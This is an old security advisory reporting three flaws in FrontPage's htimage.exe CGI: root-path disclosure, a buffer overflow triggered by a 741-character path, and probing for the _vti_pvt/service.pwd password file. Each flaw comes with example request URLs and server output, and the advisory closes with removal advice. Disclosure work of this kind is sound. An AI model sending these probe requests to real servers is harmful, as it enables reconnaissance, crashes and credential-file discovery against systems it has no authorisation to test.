---- INFORMATION ----
Program Name   : CERN Image Map Dispatcher
Discovered By  : Narrow (narrow@hobbiton.org)
---------------------


Problem Description
~~~~~~~~~~~~~~~~~~
CERN Image Map Dispatcher (/cgi-bin/htimage.exe) comes by default with FrontPage. I found three bugs
in "htimage.exe": 1) Gives us the full path to the root directory 2) Simple buffer overflow 3) Allow
us to access files.


Problem #1
~~~~~~~~~
Like I said, the first bug gives us the full path to the root directory. I tested this vulnerability
against some servers, all where vulnerable!

Tested / Vulnerable FP Servers: 3.0.2.926 (FrontPage'98), 3.0.2.1706, 4.0.2.2717, 2.0.1.927, 3.0.2.926,
3.0.2.1105, 3.0.2.1330, 3.0.2.1117 (All Windows based web servers are vulnerable if we have premission
to execute "htimage.exe" + If "htimage.exe" exist).

To test this vulnerability we need "htimage.exe" in our "cgi-bin" directory (it's installed by default)
and premission to execute it. That's why only Windows is vulnerable, Unix based systems can't execute
"*.exe" files.

If we access "htimage.exe" using our favorite web browser like: http://server/cgi-bin/htimage.exe/linux?0,0
we get this error:

------------------------------------------------------------------------------------
Error

Error calling HTImage:

Picture config file not found, tried the following:

     q:/hidden_directory_because_of_the_script_kiddies/webroot/linux
     /linux
------------------------------------------------------------------------------------

Now we know that the path to the root directory is "q:/hidden_directory_because_of_the_script_kiddies/webroot/".

Problem #2
~~~~~~~~~
Like I said, simple buffer overflow. Tested against "Microsoft-PWS-95/2.0" and "FrontPage-PWS32".
Tested / Vulnerable OS: Windows'95/98
"htimage.exe" buffer overflows if we access it like: http://server/cgi-bin/htimage.exe/<741 A's>?0,0.

<Server still running> + <500 Server Error>

First remote FrontPage exploit?


Problem #3
~~~~~~~~~
It's not a serious bug. Using "htimage.exe" we can access files on server, but
we can't read them. Accessing "htimage.exe" like: http://server/cgi-bin/htimage.exe/_vti_pvt/service.pwd?0,0
outputs:

------------------------------------------------------------------------------------
Error

Error calling HTImage:

HTImage.c: Syntax error at line 1 Bad field name, expecting 'default', 'rectangle', 'circle' or
'polygon' (got an alphanumeric string)
------------------------------------------------------------------------------------

NOTE: Accessing "/_vti_pvt/service.pwd" outputs : 403 Forbidden

Solution
~~~~~~~
1) Remove "htimage.exe".
2) Do not use FrontPage, simple enough :)
